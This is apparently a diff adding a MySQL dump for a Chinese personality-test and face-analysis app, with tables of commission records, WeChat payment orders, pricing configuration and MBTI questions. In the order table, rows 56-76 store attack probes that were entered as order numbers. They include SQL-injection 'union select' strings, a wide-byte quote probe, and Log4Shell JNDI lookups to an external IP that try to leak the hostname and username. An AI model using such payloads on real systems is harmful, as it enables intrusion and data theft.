+INSERT INTO `mbti_finance_records` VALUES (12, 6, 'consume', 100, 99307, 99207, '佣金支出:用户wong测试DISC完成分销', NULL, 1773132145);
+INSERT INTO `mbti_finance_records` VALUES (13, 6, 'consume', 100, 99207, 99107, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773132630);
+INSERT INTO `mbti_finance_records` VALUES (14, 6, 'consume', 100, 99107, 99007, '佣金支出:用户wong测试人脸完成分销', NULL, 1773197745);
+INSERT INTO `mbti_finance_records` VALUES (15, 6, 'consume', 100, 99007, 98907, '佣金支出:用户wong测试人脸完成分销', NULL, 1773214232);
+INSERT INTO `mbti_finance_records` VALUES (16, 6, 'consume', 100, 98907, 98807, '佣金支出:用户wong测试人脸完成分销', NULL, 1773214528);
+INSERT INTO `mbti_finance_records` VALUES (18, 6, 'consume', 100, 98807, 98707, '佣金支出:用户wong测试人脸完成分销', NULL, 1773216370);
+INSERT INTO `mbti_finance_records` VALUES (19, 6, 'consume', 100, 98707, 98607, '佣金支出:用户wong测试人脸完成分销', NULL, 1773216422);
+INSERT INTO `mbti_finance_records` VALUES (20, 6, 'consume', 100, 98607, 98507, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773218291);
+INSERT INTO `mbti_finance_records` VALUES (21, 6, 'consume', 100, 98507, 98407, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773219018);
+INSERT INTO `mbti_finance_records` VALUES (22, 6, 'consume', 100, 98407, 98307, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773219370);
+INSERT INTO `mbti_finance_records` VALUES (23, 6, 'consume', 100, 98307, 98207, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773279222);
+INSERT INTO `mbti_finance_records` VALUES (24, 6, 'consume', 100, 98207, 98107, '佣金支出:用户wong测试人脸完成分销', NULL, 1773279937);
+INSERT INTO `mbti_finance_records` VALUES (25, 6, 'consume', 100, 98107, 98007, '佣金支出:用户wong测试人脸完成分销', NULL, 1773279975);
+INSERT INTO `mbti_finance_records` VALUES (26, 6, 'consume', 100, 98007, 97907, '佣金支出:用户wong测试人脸完成分销', NULL, 1773280023);
+INSERT INTO `mbti_finance_records` VALUES (27, 6, 'consume', 100, 97907, 97807, '佣金支出:用户wong测试人脸完成分销', NULL, 1773280177);
+INSERT INTO `mbti_finance_records` VALUES (28, 6, 'consume', 100, 97807, 97707, '佣金支出:用户wong测试RESUME完成分销', NULL, 1773280251);
+INSERT INTO `mbti_finance_records` VALUES (29, 6, 'consume', 100, 97707, 97607, '佣金支出:用户wong测试人脸完成分销', NULL, 1773285873);
+INSERT INTO `mbti_finance_records` VALUES (30, 6, 'consume', 100, 97607, 97507, '佣金支出:用户wong测试人脸完成分销', NULL, 1773286899);
+
+-- ----------------------------
+-- Table structure for mbti_orders
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_orders`;
+CREATE TABLE `mbti_orders` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '订单ID',
+ `orderNo` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '订单号',
+ `userId` int(11) NOT NULL COMMENT '用户ID',
+ `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID',
+ `productType` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '产品类型:face/mbti/disc/pdp/report',
+ `productTitle` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '商品标题(如个人深度洞察测试版、AI人脸完整报告)',
+ `amount` int(11) NOT NULL DEFAULT 0 COMMENT '金额(分)',
+ `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'pending' COMMENT '状态:pending/paid/completed/cancelled',
+ `payMethod` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '支付方式',
+ `payTime` int(11) NULL DEFAULT NULL COMMENT '支付时间(时间戳)',
+ `wechatTransactionId` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信支付订单号(transaction_id)',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ UNIQUE INDEX `orderNo`(`orderNo`) USING BTREE,
+ INDEX `idx_userId`(`userId`) USING BTREE,
+ INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE,
+ INDEX `idx_status`(`status`) USING BTREE,
+ INDEX `idx_createdAt`(`createdAt`) USING BTREE,
+ INDEX `idx_productType`(`productType`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 84 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '订单表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Records of mbti_orders
+-- ----------------------------
+INSERT INTO `mbti_orders` VALUES (1, 'PRICING_FACE_1772089133925_w3vbrw21y', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772089134, 1772089134);
+INSERT INTO `mbti_orders` VALUES (2, 'PRICING_FACE_1772090075546_356dgx1p5', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090076, 1772090076);
+INSERT INTO `mbti_orders` VALUES (3, 'PRICING_FACE_1772090114882_0ls0o4pi7', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090115, 1772090115);
+INSERT INTO `mbti_orders` VALUES (4, 'PRICING_FACE_1772090190409_iqmo3j1pe', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090190, 1772090190);
+INSERT INTO `mbti_orders` VALUES (5, 'PRICING_FACE_1772090275759_jyi8mv35p', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090276, 1772090276);
+INSERT INTO `mbti_orders` VALUES (6, 'FACE20260226152307073', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090588, 1772090588);
+INSERT INTO `mbti_orders` VALUES (7, 'FACE20260226152404303', 1, NULL, 'face', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772090644, 1772090644);
+INSERT INTO `mbti_orders` VALUES (8, 'FACE20260226152832306', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772090934, NULL, 1772090912, 1772090934);
+INSERT INTO `mbti_orders` VALUES (9, 'FACE20260226153553785', 1, NULL, 'face', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772091353, 1772091353);
+INSERT INTO `mbti_orders` VALUES (10, 'FACE20260226153623705', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772091404, NULL, 1772091384, 1772091404);
+INSERT INTO `mbti_orders` VALUES (11, 'FACE20260226154812416', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772092110, NULL, 1772092093, 1772092110);
+INSERT INTO `mbti_orders` VALUES (12, 'FACE20260226162301604', 1, NULL, 'face', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772094181, 1772094181);
+INSERT INTO `mbti_orders` VALUES (13, 'FACE20260226163358556', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', NULL, NULL, 1772094839, 1772094854);
+INSERT INTO `mbti_orders` VALUES (14, 'FACE20260226163926361', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772095181, NULL, 1772095167, 1772095185);
+INSERT INTO `mbti_orders` VALUES (15, 'FACE20260226164046272', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772095665, NULL, 1772095246, 1772095672);
+INSERT INTO `mbti_orders` VALUES (16, 'FACE20260226164944760', 1, NULL, 'face', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772095784, 1772095784);
+INSERT INTO `mbti_orders` VALUES (17, 'FACE20260226165244539', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772095977, '4200003057202602263224922979', 1772095964, 1772095983);
+INSERT INTO `mbti_orders` VALUES (18, 'FACE20260226170030122', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772096444, '4200003092202602260876839499', 1772096431, 1772096449);
+INSERT INTO `mbti_orders` VALUES (19, 'FACE20260226170133172', 1, NULL, 'face', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772096493, 1772096493);
+INSERT INTO `mbti_orders` VALUES (20, 'FACE20260226170933731', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772096995, '4200003093202602260617366122', 1772096974, 1772096998);
+INSERT INTO `mbti_orders` VALUES (21, 'FACE20260226171256984', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772097190, '4200003079202602265982139638', 1772097177, 1772097195);
+INSERT INTO `mbti_orders` VALUES (22, 'FACE20260226171740492', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772097475, '4200003005202602265395181321', 1772097460, 1772097481);
+INSERT INTO `mbti_orders` VALUES (23, 'FACE20260226172256808', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772097793, '4200003004202602262256134923', 1772097776, 1772097797);
+INSERT INTO `mbti_orders` VALUES (24, 'FACE20260226172840499', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772098134, '4200003065202602264599802773', 1772098120, 1772098138);
+INSERT INTO `mbti_orders` VALUES (25, 'MBTI20260227095042214', 1, NULL, 'mbti', NULL, 100, 'pending', 'wechat', NULL, NULL, 1772157043, 1772157043);
+INSERT INTO `mbti_orders` VALUES (26, 'MBTI20260227095133161', 1, NULL, 'mbti', NULL, 1, 'paid', 'wechat', 1772157110, '4200003061202602274041761513', 1772157093, 1772157115);
+INSERT INTO `mbti_orders` VALUES (27, 'PDP20260227095648617', 1, NULL, 'pdp', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772157409, 1772157409);
+INSERT INTO `mbti_orders` VALUES (28, 'PDP20260227095712530', 1, NULL, 'pdp', NULL, 1, 'paid', 'wechat', 1772157446, '4200003053202602271167896255', 1772157433, 1772157451);
+INSERT INTO `mbti_orders` VALUES (29, 'DISC20260227095750455', 1, NULL, 'disc', NULL, 1, 'paid', 'wechat', 1772157482, '4200003062202602275887289276', 1772157471, 1772157485);
+INSERT INTO `mbti_orders` VALUES (30, 'VIP20260227105804939', 1, NULL, 'vip', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772161084, 1772161084);
+INSERT INTO `mbti_orders` VALUES (31, 'DISC20260227140349408', 1, NULL, 'disc', NULL, 1, 'paid', 'wechat', 1772172257, '4200003058202602279679035020', 1772172229, 1772172260);
+INSERT INTO `mbti_orders` VALUES (32, 'DISC20260227141329158', 1, NULL, 'disc', NULL, 1, 'paid', 'wechat', 1772172825, '4200003077202602274832092050', 1772172810, 1772172828);
+INSERT INTO `mbti_orders` VALUES (33, 'PDP20260227141402259', 1, NULL, 'pdp', NULL, 1, 'paid', 'wechat', 1772172854, '4200003080202602273303069247', 1772172842, 1772172860);
+INSERT INTO `mbti_orders` VALUES (34, 'MBTI20260227141433083', 1, NULL, 'mbti', NULL, 1, 'paid', 'wechat', 1772172885, '4200003003202602279020606269', 1772172874, 1772172888);
+INSERT INTO `mbti_orders` VALUES (35, 'FACE20260227141457505', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772172909, '4200003065202602279276113364', 1772172897, 1772172912);
+INSERT INTO `mbti_orders` VALUES (36, 'FACE20260228140351722', 1, 5, 'face', NULL, 200, 'pending', 'wechat', NULL, NULL, 1772258632, 1772258632);
+INSERT INTO `mbti_orders` VALUES (37, 'FACE20260228141854577', 1, 5, 'face', NULL, 200, 'pending', 'wechat', NULL, NULL, 1772259535, 1772259535);
+INSERT INTO `mbti_orders` VALUES (38, 'FACE20260228152851705', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772263738, '4200003080202602288946868189', 1772263731, 1772263740);
+INSERT INTO `mbti_orders` VALUES (39, 'VIP20260228175015395', 1, NULL, 'vip', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772272217, 1772272217);
+INSERT INTO `mbti_orders` VALUES (40, 'FACE20260228180843875', 1, NULL, 'face', NULL, 1, 'paid', 'wechat', 1772273330, '4200003006202602289813276712', 1772273324, 1772273332);
+INSERT INTO `mbti_orders` VALUES (41, 'VIP20260228182241062', 1, NULL, 'vip', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772274162, 1772274162);
+INSERT INTO `mbti_orders` VALUES (42, 'DPER20260302162035667', 1, NULL, 'deep_personal', NULL, 19900, 'pending', 'wechat', NULL, NULL, 1772439635, 1772439635);
+INSERT INTO `mbti_orders` VALUES (43, 'DPER20260302162106725', 1, NULL, 'deep_personal', NULL, 19900, 'pending', 'wechat', NULL, NULL, 1772439666, 1772439666);
+INSERT INTO `mbti_orders` VALUES (44, 'DPER20260302162210643', 1, NULL, 'deep_personal', NULL, 19900, 'pending', 'wechat', NULL, NULL, 1772439730, 1772439730);
+INSERT INTO `mbti_orders` VALUES (45, 'DPER20260302162457651', 1, NULL, 'deep_personal', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772439897, 1772439897);
+INSERT INTO `mbti_orders` VALUES (46, 'DPER20260302162616910', 1, NULL, 'deep_personal', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772439976, 1772439976);
+INSERT INTO `mbti_orders` VALUES (47, 'DPER20260302163510075', 1, NULL, 'deep_personal', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772440510, 1772440510);
+INSERT INTO `mbti_orders` VALUES (48, 'DPER20260302163948487', 1, NULL, 'deep_personal', NULL, 1, 'pending', 'wechat', NULL, NULL, 1772440789, 1772440789);
+INSERT INTO `mbti_orders` VALUES (49, 'DPER20260302164000818', 1, NULL, 'deep_personal', NULL, 19800, 'pending', 'wechat', NULL, NULL, 1772440800, 1772440800);
+INSERT INTO `mbti_orders` VALUES (50, 'DPER20260302164034604', 1, NULL, 'deep_personal', NULL, 1, 'paid', 'wechat', 1772440841, '4200003080202603024809173091', 1772440834, 1772440846);
+INSERT INTO `mbti_orders` VALUES (51, 'DPER20260302164828836', 1, NULL, 'deep_personal', '个人深度洞察测试版', 1, 'paid', 'wechat', 1772441323, '4200003071202603028924341619', 1772441308, 1772441326);
+INSERT INTO `mbti_orders` VALUES (52, 'FACE20260303144952267', 1, 5, 'face', 'AI人脸性格分析完整报告', 200, 'pending', 'wechat', NULL, NULL, 1772520593, 1772520593);
+INSERT INTO `mbti_orders` VALUES (53, 'FACE20260303145028544', 1, 6, 'face', 'AI人脸性格分析完整报告', 2, 'pending', 'wechat', NULL, NULL, 1772520628, 1772520628);
+INSERT INTO `mbti_orders` VALUES (54, 'FACE20260303153333300', 1, 6, 'face', 'AI人脸性格分析完整报告', 2, 'pending', 'wechat', NULL, NULL, 1772523215, 1772523215);
+INSERT INTO `mbti_orders` VALUES (55, 'DPER20260304110938288', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593778, 1772594061);
+INSERT INTO `mbti_orders` VALUES (56, 'DPER20260304110938288\' union select 1-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593911, 1772593911);
+INSERT INTO `mbti_orders` VALUES (57, 'DPER20260304110938288\' union select 1,2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593912, 1772593912);
+INSERT INTO `mbti_orders` VALUES (58, 'DPER20260304110938288\' union select md5(3141592657', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593913, 1772593913);
+INSERT INTO `mbti_orders` VALUES (59, 'DPER20260304110938288\' union select 1,md5(31415926', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593913, 1772593913);
+INSERT INTO `mbti_orders` VALUES (60, '\" union select 1-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593935, 1772593935);
+INSERT INTO `mbti_orders` VALUES (61, '\" union select 1,2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593936, 1772593936);
+INSERT INTO `mbti_orders` VALUES (62, '\" union select md5(3141592657),2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593936, 1772593936);
+INSERT INTO `mbti_orders` VALUES (63, '\" union select 1,md5(3141592657)-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593937, 1772593937);
+INSERT INTO `mbti_orders` VALUES (64, 'DPER20260304110938288\" union select 1-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593938, 1772593938);
+INSERT INTO `mbti_orders` VALUES (65, 'DPER20260304110938288\" union select 1,2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593941, 1772593941);
+INSERT INTO `mbti_orders` VALUES (66, 'DPER20260304110938288\" union select md5(3141592657', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593944, 1772593944);
+INSERT INTO `mbti_orders` VALUES (67, 'DPER20260304110938288\" union select 1,md5(31415926', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593945, 1772593945);
+INSERT INTO `mbti_orders` VALUES (68, '\' union select 1-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593993, 1772593993);
+INSERT INTO `mbti_orders` VALUES (69, '\' union select 1,2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593994, 1772593994);
+INSERT INTO `mbti_orders` VALUES (70, '\' union select md5(3141592657),2-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593994, 1772593994);
+INSERT INTO `mbti_orders` VALUES (71, '\' union select 1,md5(3141592657)-- ', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772593995, 1772593995);
+INSERT INTO `mbti_orders` VALUES (72, '${jndi:ldap://183.47.120.213:1389/jdk18dd6cff356b8', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594035, 1772594035);
+INSERT INTO `mbti_orders` VALUES (73, '${jndi:ldap://hostname-${hostName}.username-${sys:', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594037, 1772594037);
+INSERT INTO `mbti_orders` VALUES (74, '${jndi:rmi://hostname-${hostName}.username-${sys:u', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594039, 1772594039);
+INSERT INTO `mbti_orders` VALUES (75, 'aaaa\'%bf%27', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594047, 1772594047);
+INSERT INTO `mbti_orders` VALUES (76, '${jndi:rmi://183.47.120.213:1099/bypassdbb5556f68f', 19, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1772594048, 1772594048);
+INSERT INTO `mbti_orders` VALUES (77, 'FACE20260306155303513', 1, 5, 'face', 'AI人脸性格分析完整报告', 101, 'pending', 'wechat', NULL, NULL, 1772783583, 1772783583);
+INSERT INTO `mbti_orders` VALUES (78, 'RCG20260309161126129', 1, 6, 'recharge', '账户充值 ¥0.02', 2, 'paid', 'wechat', 1773043902, '4200003069202603099508909989', 1773043886, 1773043904);
+INSERT INTO `mbti_orders` VALUES (79, 'RCG20260309173206082', 1, 6, 'recharge', '账户充值 ¥0.05', 5, 'paid', 'wechat', 1773048743, '4200003094202603093110277383', 1773048727, 1773048748);
+INSERT INTO `mbti_orders` VALUES (80, 'DPER20260311145816460', 1, NULL, 'deep_personal', '测试001', 1, 'paid', 'wechat', 1773212308, '4200003094202603119078710446', 1773212296, 1773212314);
+INSERT INTO `mbti_orders` VALUES (81, 'DPER20260311150058412', 1, NULL, 'deep_personal', '测试001', 1, 'pending', 'wechat', NULL, NULL, 1773212464, 1773212464);
+INSERT INTO `mbti_orders` VALUES (82, 'DPER20260311150121076', 1, NULL, 'deep_personal', '测试001', 1, 'paid', 'wechat', 1773212493, '4200003001202603114491728544', 1773212482, 1773212497);
+INSERT INTO `mbti_orders` VALUES (83, 'DPER20260312114701237', 2, NULL, 'deep_personal', '个人深度洞察版', 19800, 'pending', 'wechat', NULL, NULL, 1773287221, 1773287221);
+
+-- ----------------------------
+-- Table structure for mbti_pricing_config
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_pricing_config`;
+CREATE TABLE `mbti_pricing_config` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '配置ID',
+ `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '定价类型:personal个人版/enterprise企业版/deep深度服务',
+ `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID,NULL=全局默认',
+ `config` json NULL COMMENT '定价配置(JSON格式)',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ UNIQUE INDEX `idx_type_enterpriseId`(`type`, `enterpriseId`) USING BTREE,
+ INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '全局定价配置表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Records of mbti_pricing_config
+-- ----------------------------
+INSERT INTO `mbti_pricing_config` VALUES (1, 'personal', NULL, '{\"pdp\": 0.01, \"disc\": 0.01, \"face\": 0.01, \"mbti\": 0.01, \"report\": 0}', 1770882450, 1773127359);
+INSERT INTO `mbti_pricing_config` VALUES (2, 'enterprise', NULL, '{\"pdp\": 8, \"disc\": 8, \"face\": 8, \"mbti\": 8, \"report\": 15, \"minRecharge\": 100, \"teamAnalysis\": 99, \"resumeAnalysis\": 0, \"testsPerRecharge\": 100}', 1770882450, 1773220907);
+INSERT INTO `mbti_pricing_config` VALUES (3, 'deep', NULL, '{\"team\": 999, \"personal\": 199}', 1770882450, 1770882450);
+INSERT INTO `mbti_pricing_config` VALUES (4, 'admin_personal', 5, '{\"pdp\": 0, \"disc\": 0, \"face\": 0, \"mbti\": 0, \"report\": 19.9}', 1770887324, 1773036920);
+INSERT INTO `mbti_pricing_config` VALUES (5, 'admin_personal', 6, '{\"pdp\": 0, \"disc\": 0, \"face\": 0, \"mbti\": 0, \"report\": 0.02}', 1772161295, 1773036737);
+INSERT INTO `mbti_pricing_config` VALUES (8, 'deep_personal', NULL, '{\"categories\": [{\"id\": \"1772268461984\", \"price\": 198, \"title\": \"个人深度洞察版\", \"features\": [\"AI面部分析(基于东方面相学与西方心理学)\", \"MBTI性格测试(16型人格完整解读)\", \"盖洛普优势Top5识别(发现你的核心天赋)\", \"PDP行为偏好分析(了解你的行为模式)\", \"DISC沟通风格分析(提升沟通效率)\", \"多维度综合性格报告(包含优势解读、潜在盲区提示)\", \"职业发展方向推荐(匹配最适合你的职业)\"], \"subtitle\": \"三张照片+问卷,全面解锁你的内在潜能\", \"priceUnit\": \"/次\", \"actionType\": \"buy\", \"productKey\": \"1772268461984\", \"consultWechat\": \"mi5p9-f4gx6-tl4nw-a2qb8-4wgap\", \"serviceWechat\": \"Lkdie01\", \"successMessage\": \"购买成功!我们的顾问会尽快与您联系,为您提供专属深度解读服务。\"}]}', 1772268761, 1773212515);
+INSERT INTO `mbti_pricing_config` VALUES (9, 'deep_enterprise', NULL, '{\"categories\": [{\"id\": \"1772268637136\", \"title\": \"团队启动版\", \"features\": [\"10人完成个人深度洞察报告\", \"1次团队动力诊断分析会(2-3小时)\", \"识别团队优势组合与潜在风险点\"], \"subtitle\": \"适合初创团队、小型部门\", \"userLimit\": \"最多10人\", \"actionType\": \"consult\", \"buttonText\": \"申请咨询\", \"priceDisplay\": \"19800\", \"consultWechat\": \"mi5p9-f4gx6-tl4nw-a2qb8-4wgap\", \"serviceWechat\": \"Lkdie01\", \"successMessage\": \"感谢您的申请,我们的顾问会尽快与您联系!\"}, {\"id\": \"1772268677712\", \"title\": \"团队成长版\", \"features\": [\"最多30人完成个人深度洞察报告\", \"包含\\\"启动版\\\"所有内容\", \"1次定制化团队协作增效工作坊(7天)\", \"聚焦沟通优化、优势协作等主题\"], \"subtitle\": \"适合成长型团队\", \"userLimit\": \"10-30人\", \"actionType\": \"consult\", \"buttonText\": \"申请咨询\", \"priceDisplay\": \"39800\", \"consultWechat\": \"mi5p9-f4gx6-tl4nw-a2qb8-4wgap\", \"serviceWechat\": \"Lkdie01\", \"successMessage\": \"感谢您的申请,我们的顾问会尽快与您联系!\"}, {\"id\": \"1772268704928\", \"title\": \"团队蜕变版\", \"features\": [\"最多100人完成个人深度洞察报告\", \"包含\\\"成长版\\\"所有内容\", \"更深度、更定制化的系列组合(≥2工作日)\", \"3个月的落地跟进顾问服务\"], \"subtitle\": \"适合中大型团队\", \"userLimit\": \"最多100人\", \"actionType\": \"consult\", \"buttonText\": \"申请咨询\", \"priceDisplay\": \"98000\", \"consultWechat\": \"mi5p9-f4gx6-tl4nw-a2qb8-4wgap\", \"serviceWechat\": \"Lkdie01\", \"successMessage\": \"感谢您的申请,我们的顾问会尽快与您联系!\"}]}', 1772268761, 1773212515);
+INSERT INTO `mbti_pricing_config` VALUES (10, 'admin_enterprise', 5, '{\"pdp\": 0, \"disc\": 0, \"face\": 0, \"mbti\": 0, \"report\": 15, \"minRecharge\": 1000, \"teamAnalysis\": 99, \"resumeAnalysis\": 0, \"testsPerRecharge\": 100}', 1772767876, 1773036927);
+INSERT INTO `mbti_pricing_config` VALUES (11, 'admin_enterprise', 6, '{\"pdp\": 0, \"disc\": 0, \"face\": 0, \"mbti\": 0, \"report\": 15, \"minRecharge\": 1000, \"teamAnalysis\": 99, \"resumeAnalysis\": 0, \"testsPerRecharge\": 100}', 1773036955, 1773036955);
+
+-- ----------------------------
+-- Table structure for mbti_questions
+-- ----------------------------
+DROP TABLE IF EXISTS `mbti_questions`;
+CREATE TABLE `mbti_questions` (
+ `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '题目ID',
+ `type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '题目类型:mbti/disc/pdp',
+ `question` text CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '题目内容',
+ `options` json NULL COMMENT '选项(JSON格式)',
+ `dimension` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '维度(仅MBTI类型使用:EI/SN/TF/JP)',
+ `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(NULL表示超管题库)',
+ `sort` int(11) NULL DEFAULT 0 COMMENT '排序',
+ `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1启用,0禁用',
+ `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)',
+ `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)',
+ `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)',
+ PRIMARY KEY (`id`) USING BTREE,
+ INDEX `idx_type`(`type`) USING BTREE,
+ INDEX `idx_status`(`status`) USING BTREE,
+ INDEX `idx_sort`(`sort`) USING BTREE,
+ INDEX `idx_enterpriseId`(`enterpriseId`) USING BTREE,
+ INDEX `idx_deletedAt`(`deletedAt`) USING BTREE
+) ENGINE = InnoDB AUTO_INCREMENT = 131 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '题目表' ROW_FORMAT = Dynamic;
+
+-- ----------------------------
+-- Records of mbti_questions
+-- ----------------------------
+INSERT INTO `mbti_questions` VALUES (1, 'mbti', '在社交场合中,您通常会:', '[{\"text\": \"认识新朋友,扩大社交圈\", \"value\": \"E\"}, {\"text\": \"与已认识的朋友交流,保持小圈子\", \"value\": \"I\"}]', 'EI', NULL, 1, 1, NULL, 1770881506, 1770881506);
+INSERT INTO `mbti_questions` VALUES (2, 'mbti', '您更喜欢:', '[{\"text\": \"在团队中工作,与他人合作\", \"value\": \"E\"}, {\"text\": \"独立工作,自己思考问题\", \"value\": \"I\"}]', 'EI', NULL, 2, 1, NULL, 1770881506, 1770881506);
+INSERT INTO `mbti_questions` VALUES (3, 'mbti', '当您需要充电时,您会选择:', '[{\"text\": \"与朋友聚会,参加社交活动\", \"value\": \"E\"}, {\"text\": \"独处,阅读或进行个人爱好\", \"value\": \"I\"}]', 'EI', NULL, 3, 1, NULL, 1770881506, 1770881506);
+INSERT INTO `mbti_questions` VALUES (4, 'mbti', '在会议或讨论中,您通常:', '[{\"text\": \"积极发言,边说边思考\", \"value\": \"E\"}, {\"text\": \"先思考,然后再发表意见\", \"value\": \"I\"}]', 'EI', NULL, 4, 1, NULL, 1770881506, 1770881506);
